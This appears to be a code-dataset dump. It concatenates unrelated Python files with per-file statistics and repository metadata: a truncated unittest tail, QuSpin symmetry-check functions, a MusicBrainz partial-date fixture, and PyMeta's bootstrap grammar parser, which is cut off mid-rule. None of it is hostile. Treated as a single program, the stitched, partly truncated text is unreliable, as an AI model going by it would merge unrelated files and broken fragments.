4 1 7 7 B 589.895 142.176 135.653 3.318 1.34 2
""")
model_dict=self.IO.get_all_spheres(filetemp=fh)
output={'Models': [1, 2], 'Excluded Volume Satisfaction': [0.0, 100.0]}
self.assertEqual(output,(self.IO.get_exc_vol_for_models_normalized(model_dict))
if __name__ == '__main__':
unittest.main(warnings='ignore')
| 26.819923
| 97
| 0.783
| 1,295
| 7,000
| 3.738996
| 0.111969
| 0.10223
| 0.136307
| 0.181743
| 0.773647
| 0.761875
| 0.761875
| 0.743701
| 0.730483
| 0.718092
| 0
| 0.078659
| 0.126429
| 7,000
| 260
| 98
| 26.923077
| 0.713164
| 0
| 0
| 0.734177
| 0
| 0.025316
| 0.568796
| 0.399343
| 0
| 0
| 0
| 0
| 0.037975
| 0
| null | null | 0
| 0.029536
| null | null | 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
ec025ea31723f463c0b4cb91fdd4adb2199d0b45
| 3,277
|
py
|
Python
|
quspin/basis/basis_1d/_check_1d_symm.py
|
anton-buyskikh/QuSpin
|
4e46b495e399414d9361d659e186492a1ac5b511
|
[
"BSD-3-Clause"
] | 195
|
2016-10-24T18:05:31.000Z
|
2022-03-29T10:11:56.000Z
|
quspin/basis/basis_1d/_check_1d_symm.py
|
cileeky/QuSpin
|
769d3817870f6ff55c4283af46f94e11c36f4121
|
[
"BSD-3-Clause"
] | 303
|
2016-10-25T20:08:11.000Z
|
2022-03-31T16:52:09.000Z
|
quspin/basis/basis_1d/_check_1d_symm.py
|
cileeky/QuSpin
|
769d3817870f6ff55c4283af46f94e11c36f4121
|
[
"BSD-3-Clause"
] | 54
|
2017-01-03T18:47:52.000Z
|
2022-03-16T06:54:33.000Z
|
from __future__ import print_function, division
import warnings
def flip_sublat(opstr,indx,lat=0):
sign = 1
opstr = [str(s) for s in opstr]
for s,i,j in zip(opstr,indx,range(len(indx))):
if ((i % 2) == (lat % 2)):
if (s in ['z','y']):
sign *= -1
elif (s == "+"):
opstr[j] = '-'
elif (s == "-"):
opstr[j] = '+'
return sign,"".join(opstr)
def check_T(sort_opstr,operator_list,L,a):
missing_ops=[]
for i in range(0,L//a,1):
for op in operator_list:
opstr = str(op[0])
indx = list(op[1])
for j,ind in enumerate(indx):
indx[j] = (ind+i*a)%L
new_op = list(op)
new_op[1] = indx
new_op = sort_opstr(new_op)
if not (new_op in operator_list):
missing_ops.append(new_op)
return missing_ops
def check_Z(sort_opstr,operator_list):
missing_ops=[]
odd_ops=[]
for op in operator_list:
opstr = str(op[0])
indx = list(op[1])
if opstr.count("|") == 1:
i = opstr.index("|")
else:
i = len(opstr)
z_count = opstr[:i].count("z")
y_count = opstr[:i].count("y")
if ((y_count + z_count) % 2) != 0:
odd_ops.append(op)
new_op = list(op)
new_op[0] = new_op[0][:i].replace("+","#").replace("-","+").replace("#","-") + op[0][i:]
new_op = sort_opstr(new_op)
if not (new_op in operator_list):
missing_ops.append(new_op)
return odd_ops,missing_ops
def check_P(sort_opstr,operator_list,L):
missing_ops = []
for op in operator_list:
indx = list(op[1])
for j,ind in enumerate(indx):
indx[j] = (L-1-ind) % L
new_op = list(op)
new_op[1] = indx
new_op = sort_opstr(new_op)
if not (new_op in operator_list):
missing_ops.append(new_op)
return missing_ops
def check_PZ(sort_opstr,operator_list,L):
missing_ops = []
for op in operator_list:
opstr = str(op[0])
indx = list(op[1])
if opstr.count("|") == 1:
i = opstr.index("|")
else:
i = len(opstr)
for j,ind in enumerate(indx):
indx[j] = (L-1-ind) % L
sign = (-1)**(opstr[:i].count('z')+opstr.count('y'))
new_op = list(op)
new_op[0] = new_op[0][:i].replace("+","#").replace("-","+").replace("#","-") + op[0][i:]
new_op[1] = indx
new_op[2] *= sign
new_op = sort_opstr(new_op)
if not (new_op in operator_list):
missing_ops.append(new_op)
return missing_ops
def check_ZA(sort_opstr,operator_list):
missing_ops=[]
odd_ops=[]
for op in operator_list:
opstr = str(op[0])
indx = list(op[1])
if opstr.count("|") == 1:
i = opstr.index("|")
else:
i = len(opstr)
sign,new_opstr = flip_sublat(opstr[:i],indx[:i],lat=0)
if sign == -1:
odd_ops.append(op)
new_op = list(op)
new_op[0] = new_opstr + opstr[i:]
new_op = sort_opstr(new_op)
if not (new_op in operator_list):
missing_ops.append(new_op)
return odd_ops,missing_ops
def check_ZB(sort_opstr,operator_list):
missing_ops=[]
odd_ops=[]
for op in operator_list:
opstr = str(op[0])
indx = list(op[1])
if opstr.count("|") == 1:
i = opstr.index("|")
else:
i = len(opstr)
sign,new_opstr = flip_sublat(opstr[:i],indx[:i],lat=1)
if sign == -1:
odd_ops.append(op)
new_op = list(op)
new_op[0] = new_opstr + opstr[i:]
new_op = sort_opstr(new_op)
if not (new_op in operator_list):
missing_ops.append(new_op)
return odd_ops,missing_ops
| 17.61828
| 90
| 0.612145
| 565
| 3,277
| 3.339823
| 0.099115
| 0.105988
| 0.076312
| 0.101749
| 0.825119
| 0.813461
| 0.808161
| 0.808161
| 0.808161
| 0.808161
| 0
| 0.016481
| 0.203845
| 3,277
| 185
| 91
| 17.713514
| 0.706784
| 0
| 0
| 0.754237
| 0
| 0
| 0.009163
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.059322
| false
| 0
| 0.016949
| 0
| 0.135593
| 0.008475
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ec11684b5d7c777e3d15667cd83d92203959e0d1
| 3,298
|
py
|
Python
|
tests/plugins/musicbrainz/resources/partial_date.py
|
jtpavlock/moe
|
6f053c8c53f92686013657bda676b00f97edd230
|
[
"MIT"
] | 14
|
2021-09-04T11:42:18.000Z
|
2022-02-04T05:11:46.000Z
|
tests/plugins/musicbrainz/resources/partial_date.py
|
jtpavlock/Moe
|
6f053c8c53f92686013657bda676b00f97edd230
|
[
"MIT"
] | 56
|
2021-05-26T00:00:46.000Z
|
2021-08-08T17:14:31.000Z
|
tests/plugins/musicbrainz/resources/partial_date.py
|
jtpavlock/moe
|
6f053c8c53f92686013657bda676b00f97edd230
|
[
"MIT"
] | 1
|
2021-07-22T21:55:21.000Z
|
2021-07-22T21:55:21.000Z
|
"""Musicbrainz release containing partial dates."""
# flake8: noqa
# date only includes the year
partial_date_year = {
"release": {
"id": "112dec42-65f2-3bde-8d7d-26deddde10b2",
"title": "The Chronic",
"status": "Official",
"quality": "normal",
"text-representation": {"language": "eng", "script": "Latn"},
"artist-credit": [
{
"artist": {
"id": "5f6ab597-f57a-40da-be9e-adad48708203",
"type": "Person",
"name": "Dr. Dre",
"sort-name": "Dre, Dr.",
"disambiguation": "Andre Young, rap producer",
}
}
],
"date": "1992",
"country": "US",
"release-event-list": [
{
"date": "1992-12-15",
"area": {
"id": "489ce91b-6658-3307-9877-795b68554c98",
"name": "United States",
"sort-name": "United States",
"iso-3166-1-code-list": ["US"],
},
}
],
"release-event-count": 1,
"barcode": "049925061116",
"asin": "B000003AEP",
"cover-art-archive": {
"artwork": "false",
"count": "0",
"front": "false",
"back": "false",
},
"medium-list": [
{
"position": "1",
"format": '12" Vinyl',
"track-list": [],
"track-count": 16,
}
],
"medium-count": 1,
"artist-credit-phrase": "Dr. Dre",
}
}
# date only includes year and month
partial_date_year_mon = {
"release": {
"id": "112dec42-65f2-3bde-8d7d-26deddde10b2",
"title": "The Chronic",
"status": "Official",
"quality": "normal",
"text-representation": {"language": "eng", "script": "Latn"},
"artist-credit": [
{
"artist": {
"id": "5f6ab597-f57a-40da-be9e-adad48708203",
"type": "Person",
"name": "Dr. Dre",
"sort-name": "Dre, Dr.",
"disambiguation": "Andre Young, rap producer",
}
}
],
"date": "1992-12",
"country": "US",
"release-event-list": [
{
"date": "1992-12-15",
"area": {
"id": "489ce91b-6658-3307-9877-795b68554c98",
"name": "United States",
"sort-name": "United States",
"iso-3166-1-code-list": ["US"],
},
}
],
"release-event-count": 1,
"barcode": "049925061116",
"asin": "B000003AEP",
"cover-art-archive": {
"artwork": "false",
"count": "0",
"front": "false",
"back": "false",
},
"medium-list": [
{
"position": "1",
"format": '12" Vinyl',
"track-list": [],
"track-count": 16,
}
],
"medium-count": 1,
"artist-credit-phrase": "Dr. Dre",
}
}
| 29.711712
| 69
| 0.387811
| 252
| 3,298
| 5.055556
| 0.357143
| 0.037677
| 0.043956
| 0.032967
| 0.89325
| 0.89325
| 0.89325
| 0.89325
| 0.89325
| 0.89325
| 0
| 0.114487
| 0.441176
| 3,298
| 110
| 70
| 29.981818
| 0.576777
| 0.036689
| 0
| 0.75
| 0
| 0
| 0.389082
| 0.06816
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6b547bf220b7b5314e2bf673db99e5706a4e6017
| 33,595
|
py
|
Python
|
pymeta/boot.py
|
set-soft/pymeta3
|
db909eebb39dea2b9082fe78d517617170f86c36
|
[
"MIT"
] | 12
|
2015-09-15T10:31:28.000Z
|
2022-03-26T16:33:09.000Z
|
pymeta/boot.py
|
set-soft/pymeta3
|
db909eebb39dea2b9082fe78d517617170f86c36
|
[
"MIT"
] | 1
|
2019-01-16T06:16:32.000Z
|
2019-01-16T06:16:32.000Z
|
pymeta/boot.py
|
set-soft/pymeta3
|
db909eebb39dea2b9082fe78d517617170f86c36
|
[
"MIT"
] | 2
|
2019-06-25T02:51:28.000Z
|
2020-07-04T12:52:01.000Z
|
# -*- test-case-name: pymeta.test.test_grammar -*-
"""
The definition of PyMeta's language is itself a PyMeta grammar, but something
has to be able to read that. Most of the code in this module is generated from
that grammar (in future versions, it will hopefully all be generated).
"""
import string
from pymeta.runtime import OMetaBase, ParseError, EOFError, expected
class BootOMetaGrammar(OMetaBase):
"""
The bootstrap grammar, generated from L{pymeta.grammar.OMetaGrammar} via
L{pymeta.builder.PythonBuilder}.
"""
globals = globals()
def __init__(self, input):
OMetaBase.__init__(self, input)
self._ruleNames = []
def parseGrammar(self, name, builder, *args):
"""
Entry point for converting a grammar to code (of some variety).
@param name: The name for this grammar.
@param builder: A class that implements the grammar-building interface
(interface to be explicitly defined later)
"""
self.builder = builder(name, self, *args)
res, err = self.apply("grammar")
try:
x = self.input.head()
except EOFError:
pass
else:
raise err
return res
def applicationArgs(self):
args = []
while True:
try:
(arg, endchar), err = self.pythonExpr(" >")
if not arg:
break
args.append(self.builder.expr(arg))
if endchar == '>':
break
except ParseError:
break
if args:
return args
else:
raise ParseError(self.input.position, expected("python expression"))
def ruleValueExpr(self):
(expr, endchar), err = self.pythonExpr(endChars="\r\n)]")
if str(endchar) in ")]":
self.input = self.input.prev()
return self.builder.expr(expr)
def semanticActionExpr(self):
return self.builder.action(self.pythonExpr(')')[0][0])
def semanticPredicateExpr(self):
expr = self.builder.expr(self.pythonExpr(')')[0][0])
return self.builder.pred(expr)
def eatWhitespace(self):
"""
Consume input until a non-whitespace character is reached.
"""
consumingComment = False
e = None
while True:
try:
c, e = self.input.head()
except EOFError:
break
t = self.input.tail()
if c.isspace() or consumingComment:
self.input = t
if c == '\n':
consumingComment = False
elif c == '#':
consumingComment = True
else:
break
return True, e
rule_spaces = eatWhitespace
def rule_number(self):
_locals = {'self': self}
self.locals['number'] = _locals
_G_apply_1, lastError = self._apply(self.rule_spaces, "spaces", [])
self.considerError(lastError)
def _G_or_2():
_G_exactly_1, lastError = self.exactly('-')
self.considerError(lastError)
_G_apply_2, lastError = self._apply(self.rule_barenumber, "barenumber", [])
self.considerError(lastError)
_locals['x'] = _G_apply_2
_G_python_3, lastError = eval('self.builder.exactly(-x)', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_3, self.currentError)
def _G_or_3():
_G_apply_1, lastError = self._apply(self.rule_barenumber, "barenumber", [])
self.considerError(lastError)
_locals['x'] = _G_apply_1
_G_python_2, lastError = eval('self.builder.exactly(x)', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_2, self.currentError)
_G_or_4, lastError = self._or([_G_or_2, _G_or_3])
self.considerError(lastError)
return (_G_or_4, self.currentError)
def rule_barenumber(self):
_locals = {'self': self}
self.locals['barenumber'] = _locals
def _G_or_1():
_G_exactly_1, lastError = self.exactly('0')
self.considerError(lastError)
def _G_or_2():
def _G_or_1():
_G_exactly_1, lastError = self.exactly('x')
self.considerError(lastError)
return (_G_exactly_1, self.currentError)
def _G_or_2():
_G_exactly_1, lastError = self.exactly('X')
self.considerError(lastError)
return (_G_exactly_1, self.currentError)
_G_or_3, lastError = self._or([_G_or_1, _G_or_2])
self.considerError(lastError)
def _G_many_4():
_G_apply_1, lastError = self._apply(self.rule_hexdigit, "hexdigit", [])
self.considerError(lastError)
return (_G_apply_1, self.currentError)
_G_many_5, lastError = self.many(_G_many_4)
self.considerError(lastError)
_locals['hs'] = _G_many_5
_G_python_6, lastError = eval("int(''.join(hs), 16)", self.globals, _locals), None
self.considerError(lastError)
return (_G_python_6, self.currentError)
def _G_or_3():
def _G_many_1():
_G_apply_1, lastError = self._apply(self.rule_octaldigit, "octaldigit", [])
self.considerError(lastError)
return (_G_apply_1, self.currentError)
_G_many_2, lastError = self.many(_G_many_1)
self.considerError(lastError)
_locals['ds'] = _G_many_2
_G_python_3, lastError = eval("int('0'+''.join(ds), 8)", self.globals, _locals), None
self.considerError(lastError)
return (_G_python_3, self.currentError)
_G_or_4, lastError = self._or([_G_or_2, _G_or_3])
self.considerError(lastError)
return (_G_or_4, self.currentError)
def _G_or_2():
def _G_many1_1():
_G_apply_1, lastError = self._apply(self.rule_digit, "digit", [])
self.considerError(lastError)
return (_G_apply_1, self.currentError)
_G_many1_2, lastError = self.many(_G_many1_1, _G_many1_1())
self.considerError(lastError)
_locals['ds'] = _G_many1_2
_G_python_3, lastError = eval("int(''.join(ds))", self.globals, _locals), None
self.considerError(lastError)
return (_G_python_3, self.currentError)
_G_or_3, lastError = self._or([_G_or_1, _G_or_2])
self.considerError(lastError)
return (_G_or_3, self.currentError)
def rule_octaldigit(self):
_locals = {'self': self}
self.locals['octaldigit'] = _locals
_G_apply_1, lastError = self._apply(self.rule_anything, "anything", [])
self.considerError(lastError)
_locals['x'] = _G_apply_1
def _G_pred_2():
_G_python_1, lastError = eval('x in string.octdigits', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_1, self.currentError)
_G_pred_3, lastError = self.pred(_G_pred_2)
self.considerError(lastError)
_G_python_4, lastError = eval('x', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_4, self.currentError)
def rule_hexdigit(self):
_locals = {'self': self}
self.locals['hexdigit'] = _locals
_G_apply_1, lastError = self._apply(self.rule_anything, "anything", [])
self.considerError(lastError)
_locals['x'] = _G_apply_1
def _G_pred_2():
_G_python_1, lastError = eval('x in string.hexdigits', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_1, self.currentError)
_G_pred_3, lastError = self.pred(_G_pred_2)
self.considerError(lastError)
_G_python_4, lastError = eval('x', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_4, self.currentError)
def rule_escapedChar(self):
_locals = {'self': self}
self.locals['escapedChar'] = _locals
_G_exactly_1, lastError = self.exactly('\\')
self.considerError(lastError)
def _G_or_2():
_G_exactly_1, lastError = self.exactly('n')
self.considerError(lastError)
_G_python_2, lastError = eval('"\\n"', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_2, self.currentError)
def _G_or_3():
_G_exactly_1, lastError = self.exactly('r')
self.considerError(lastError)
_G_python_2, lastError = eval('"\\r"', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_2, self.currentError)
def _G_or_4():
_G_exactly_1, lastError = self.exactly('t')
self.considerError(lastError)
_G_python_2, lastError = eval('"\\t"', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_2, self.currentError)
def _G_or_5():
_G_exactly_1, lastError = self.exactly('b')
self.considerError(lastError)
_G_python_2, lastError = eval('"\\b"', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_2, self.currentError)
def _G_or_6():
_G_exactly_1, lastError = self.exactly('f')
self.considerError(lastError)
_G_python_2, lastError = eval('"\\f"', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_2, self.currentError)
def _G_or_7():
_G_exactly_1, lastError = self.exactly('"')
self.considerError(lastError)
_G_python_2, lastError = eval('\'"\'', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_2, self.currentError)
def _G_or_8():
_G_exactly_1, lastError = self.exactly("'")
self.considerError(lastError)
_G_python_2, lastError = eval('"\'"', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_2, self.currentError)
def _G_or_9():
_G_exactly_1, lastError = self.exactly('\\')
self.considerError(lastError)
_G_python_2, lastError = eval('"\\\\"', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_2, self.currentError)
_G_or_10, lastError = self._or([_G_or_2, _G_or_3, _G_or_4, _G_or_5, _G_or_6, _G_or_7, _G_or_8, _G_or_9])
self.considerError(lastError)
return (_G_or_10, self.currentError)
def rule_character(self):
_locals = {'self': self}
self.locals['character'] = _locals
_G_python_1, lastError = eval('"\'"', self.globals, _locals), None
self.considerError(lastError)
_G_apply_2, lastError = self._apply(self.rule_token, "token", [_G_python_1])
self.considerError(lastError)
def _G_or_3():
_G_apply_1, lastError = self._apply(self.rule_escapedChar, "escapedChar", [])
self.considerError(lastError)
return (_G_apply_1, self.currentError)
def _G_or_4():
_G_apply_1, lastError = self._apply(self.rule_anything, "anything", [])
self.considerError(lastError)
return (_G_apply_1, self.currentError)
_G_or_5, lastError = self._or([_G_or_3, _G_or_4])
self.considerError(lastError)
_locals['c'] = _G_or_5
_G_python_6, lastError = eval('"\'"', self.globals, _locals), None
self.considerError(lastError)
_G_apply_7, lastError = self._apply(self.rule_token, "token", [_G_python_6])
self.considerError(lastError)
_G_python_8, lastError = eval('self.builder.exactly(c)', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_8, self.currentError)
def rule_string(self):
_locals = {'self': self}
self.locals['string'] = _locals
_G_python_1, lastError = eval('\'"\'', self.globals, _locals), None
self.considerError(lastError)
_G_apply_2, lastError = self._apply(self.rule_token, "token", [_G_python_1])
self.considerError(lastError)
def _G_many_3():
def _G_or_1():
_G_apply_1, lastError = self._apply(self.rule_escapedChar, "escapedChar", [])
self.considerError(lastError)
return (_G_apply_1, self.currentError)
def _G_or_2():
def _G_not_1():
_G_exactly_1, lastError = self.exactly('"')
self.considerError(lastError)
return (_G_exactly_1, self.currentError)
_G_not_2, lastError = self._not(_G_not_1)
self.considerError(lastError)
_G_apply_3, lastError = self._apply(self.rule_anything, "anything", [])
self.considerError(lastError)
return (_G_apply_3, self.currentError)
_G_or_3, lastError = self._or([_G_or_1, _G_or_2])
self.considerError(lastError)
return (_G_or_3, self.currentError)
_G_many_4, lastError = self.many(_G_many_3)
self.considerError(lastError)
_locals['c'] = _G_many_4
_G_python_5, lastError = eval('\'"\'', self.globals, _locals), None
self.considerError(lastError)
_G_apply_6, lastError = self._apply(self.rule_token, "token", [_G_python_5])
self.considerError(lastError)
_G_python_7, lastError = eval("self.builder.exactly(''.join(c))", self.globals, _locals), None
self.considerError(lastError)
return (_G_python_7, self.currentError)
def rule_name(self):
_locals = {'self': self}
self.locals['name'] = _locals
_G_apply_1, lastError = self._apply(self.rule_letter, "letter", [])
self.considerError(lastError)
_locals['x'] = _G_apply_1
def _G_many_2():
_G_apply_1, lastError = self._apply(self.rule_letterOrDigit, "letterOrDigit", [])
self.considerError(lastError)
return (_G_apply_1, self.currentError)
_G_many_3, lastError = self.many(_G_many_2)
self.considerError(lastError)
_locals['xs'] = _G_many_3
_G_python_4, lastError = eval('xs.insert(0, x)', self.globals, _locals), None
self.considerError(lastError)
_G_python_5, lastError = eval("''.join(xs)", self.globals, _locals), None
self.considerError(lastError)
return (_G_python_5, self.currentError)
def rule_application(self):
_locals = {'self': self}
self.locals['application'] = _locals
_G_python_1, lastError = eval("'<'", self.globals, _locals), None
self.considerError(lastError)
_G_apply_2, lastError = self._apply(self.rule_token, "token", [_G_python_1])
self.considerError(lastError)
_G_apply_3, lastError = self._apply(self.rule_spaces, "spaces", [])
self.considerError(lastError)
_G_apply_4, lastError = self._apply(self.rule_name, "name", [])
self.considerError(lastError)
_locals['name'] = _G_apply_4
def _G_or_5():
_G_exactly_1, lastError = self.exactly(' ')
self.considerError(lastError)
_G_python_2, lastError = eval('self.applicationArgs()', self.globals, _locals), None
self.considerError(lastError)
_locals['args'] = _G_python_2
_G_python_3, lastError = eval('self.builder.apply(name, self.name, *args)', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_3, self.currentError)
def _G_or_6():
_G_python_1, lastError = eval("'>'", self.globals, _locals), None
self.considerError(lastError)
_G_apply_2, lastError = self._apply(self.rule_token, "token", [_G_python_1])
self.considerError(lastError)
_G_python_3, lastError = eval('self.builder.apply(name, self.name)', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_3, self.currentError)
_G_or_7, lastError = self._or([_G_or_5, _G_or_6])
self.considerError(lastError)
return (_G_or_7, self.currentError)
def rule_expr1(self):
_locals = {'self': self}
self.locals['expr1'] = _locals
def _G_or_1():
_G_apply_1, lastError = self._apply(self.rule_application, "application", [])
self.considerError(lastError)
return (_G_apply_1, self.currentError)
def _G_or_2():
_G_apply_1, lastError = self._apply(self.rule_ruleValue, "ruleValue", [])
self.considerError(lastError)
return (_G_apply_1, self.currentError)
def _G_or_3():
_G_apply_1, lastError = self._apply(self.rule_semanticPredicate, "semanticPredicate", [])
self.considerError(lastError)
return (_G_apply_1, self.currentError)
def _G_or_4():
_G_apply_1, lastError = self._apply(self.rule_semanticAction, "semanticAction", [])
self.considerError(lastError)
return (_G_apply_1, self.currentError)
def _G_or_5():
_G_apply_1, lastError = self._apply(self.rule_number, "number", [])
self.considerError(lastError)
return (_G_apply_1, self.currentError)
def _G_or_6():
_G_apply_1, lastError = self._apply(self.rule_character, "character", [])
self.considerError(lastError)
return (_G_apply_1, self.currentError)
def _G_or_7():
_G_apply_1, lastError = self._apply(self.rule_string, "string", [])
self.considerError(lastError)
return (_G_apply_1, self.currentError)
def _G_or_8():
_G_python_1, lastError = eval("'('", self.globals, _locals), None
self.considerError(lastError)
_G_apply_2, lastError = self._apply(self.rule_token, "token", [_G_python_1])
self.considerError(lastError)
_G_apply_3, lastError = self._apply(self.rule_expr, "expr", [])
self.considerError(lastError)
_locals['e'] = _G_apply_3
_G_python_4, lastError = eval("')'", self.globals, _locals), None
self.considerError(lastError)
_G_apply_5, lastError = self._apply(self.rule_token, "token", [_G_python_4])
self.considerError(lastError)
_G_python_6, lastError = eval('e', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_6, self.currentError)
def _G_or_9():
_G_python_1, lastError = eval("'['", self.globals, _locals), None
self.considerError(lastError)
_G_apply_2, lastError = self._apply(self.rule_token, "token", [_G_python_1])
self.considerError(lastError)
_G_apply_3, lastError = self._apply(self.rule_expr, "expr", [])
self.considerError(lastError)
_locals['e'] = _G_apply_3
_G_python_4, lastError = eval("']'", self.globals, _locals), None
self.considerError(lastError)
_G_apply_5, lastError = self._apply(self.rule_token, "token", [_G_python_4])
self.considerError(lastError)
_G_python_6, lastError = eval('self.builder.listpattern(e)', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_6, self.currentError)
_G_or_10, lastError = self._or([_G_or_1, _G_or_2, _G_or_3, _G_or_4, _G_or_5, _G_or_6, _G_or_7, _G_or_8, _G_or_9])
self.considerError(lastError)
return (_G_or_10, self.currentError)
def rule_expr2(self):
_locals = {'self': self}
self.locals['expr2'] = _locals
def _G_or_1():
_G_python_1, lastError = eval("'~'", self.globals, _locals), None
self.considerError(lastError)
_G_apply_2, lastError = self._apply(self.rule_token, "token", [_G_python_1])
self.considerError(lastError)
def _G_or_3():
_G_python_1, lastError = eval("'~'", self.globals, _locals), None
self.considerError(lastError)
_G_apply_2, lastError = self._apply(self.rule_token, "token", [_G_python_1])
self.considerError(lastError)
_G_apply_3, lastError = self._apply(self.rule_expr2, "expr2", [])
self.considerError(lastError)
_locals['e'] = _G_apply_3
_G_python_4, lastError = eval('self.builder.lookahead(e)', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_4, self.currentError)
def _G_or_4():
_G_apply_1, lastError = self._apply(self.rule_expr2, "expr2", [])
self.considerError(lastError)
_locals['e'] = _G_apply_1
_G_python_2, lastError = eval('self.builder._not(e)', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_2, self.currentError)
_G_or_5, lastError = self._or([_G_or_3, _G_or_4])
self.considerError(lastError)
return (_G_or_5, self.currentError)
def _G_or_2():
_G_apply_1, lastError = self._apply(self.rule_expr1, "expr1", [])
self.considerError(lastError)
return (_G_apply_1, self.currentError)
_G_or_3, lastError = self._or([_G_or_1, _G_or_2])
self.considerError(lastError)
return (_G_or_3, self.currentError)
def rule_expr3(self):
_locals = {'self': self}
self.locals['expr3'] = _locals
def _G_or_1():
_G_apply_1, lastError = self._apply(self.rule_expr2, "expr2", [])
self.considerError(lastError)
_locals['e'] = _G_apply_1
def _G_or_2():
_G_exactly_1, lastError = self.exactly('*')
self.considerError(lastError)
_G_python_2, lastError = eval('self.builder.many(e)', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_2, self.currentError)
def _G_or_3():
_G_exactly_1, lastError = self.exactly('+')
self.considerError(lastError)
_G_python_2, lastError = eval('self.builder.many1(e)', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_2, self.currentError)
def _G_or_4():
_G_exactly_1, lastError = self.exactly('?')
self.considerError(lastError)
_G_python_2, lastError = eval('self.builder.optional(e)', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_2, self.currentError)
def _G_or_5():
_G_python_1, lastError = eval('e', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_1, self.currentError)
_G_or_6, lastError = self._or([_G_or_2, _G_or_3, _G_or_4, _G_or_5])
self.considerError(lastError)
_locals['r'] = _G_or_6
def _G_or_7():
_G_exactly_1, lastError = self.exactly(':')
self.considerError(lastError)
_G_apply_2, lastError = self._apply(self.rule_name, "name", [])
self.considerError(lastError)
_locals['n'] = _G_apply_2
_G_python_3, lastError = eval('self.builder.bind(r, n)', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_3, self.currentError)
def _G_or_8():
_G_python_1, lastError = eval('r', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_1, self.currentError)
_G_or_9, lastError = self._or([_G_or_7, _G_or_8])
self.considerError(lastError)
return (_G_or_9, self.currentError)
def _G_or_2():
_G_python_1, lastError = eval("':'", self.globals, _locals), None
self.considerError(lastError)
_G_apply_2, lastError = self._apply(self.rule_token, "token", [_G_python_1])
self.considerError(lastError)
_G_apply_3, lastError = self._apply(self.rule_name, "name", [])
self.considerError(lastError)
_locals['n'] = _G_apply_3
_G_python_4, lastError = eval('self.builder.bind(self.builder.apply("anything", self.name), n)', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_4, self.currentError)
_G_or_3, lastError = self._or([_G_or_1, _G_or_2])
self.considerError(lastError)
return (_G_or_3, self.currentError)
def rule_expr4(self):
_locals = {'self': self}
self.locals['expr4'] = _locals
def _G_many_1():
_G_apply_1, lastError = self._apply(self.rule_expr3, "expr3", [])
self.considerError(lastError)
return (_G_apply_1, self.currentError)
_G_many_2, lastError = self.many(_G_many_1)
self.considerError(lastError)
_locals['es'] = _G_many_2
_G_python_3, lastError = eval('self.builder.sequence(es)', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_3, self.currentError)
def rule_expr(self):
_locals = {'self': self}
self.locals['expr'] = _locals
_G_apply_1, lastError = self._apply(self.rule_expr4, "expr4", [])
self.considerError(lastError)
_locals['e'] = _G_apply_1
def _G_many_2():
_G_python_1, lastError = eval("'|'", self.globals, _locals), None
self.considerError(lastError)
_G_apply_2, lastError = self._apply(self.rule_token, "token", [_G_python_1])
self.considerError(lastError)
_G_apply_3, lastError = self._apply(self.rule_expr4, "expr4", [])
self.considerError(lastError)
return (_G_apply_3, self.currentError)
_G_many_3, lastError = self.many(_G_many_2)
self.considerError(lastError)
_locals['es'] = _G_many_3
_G_python_4, lastError = eval('es.insert(0, e)', self.globals, _locals), None
self.considerError(lastError)
_G_python_5, lastError = eval('self.builder._or(es)', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_5, self.currentError)
def rule_ruleValue(self):
_locals = {'self': self}
self.locals['ruleValue'] = _locals
_G_python_1, lastError = eval('"=>"', self.globals, _locals), None
self.considerError(lastError)
_G_apply_2, lastError = self._apply(self.rule_token, "token", [_G_python_1])
self.considerError(lastError)
_G_python_3, lastError = eval('self.ruleValueExpr()', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_3, self.currentError)
def rule_semanticPredicate(self):
_locals = {'self': self}
self.locals['semanticPredicate'] = _locals
_G_python_1, lastError = eval('"?("', self.globals, _locals), None
self.considerError(lastError)
_G_apply_2, lastError = self._apply(self.rule_token, "token", [_G_python_1])
self.considerError(lastError)
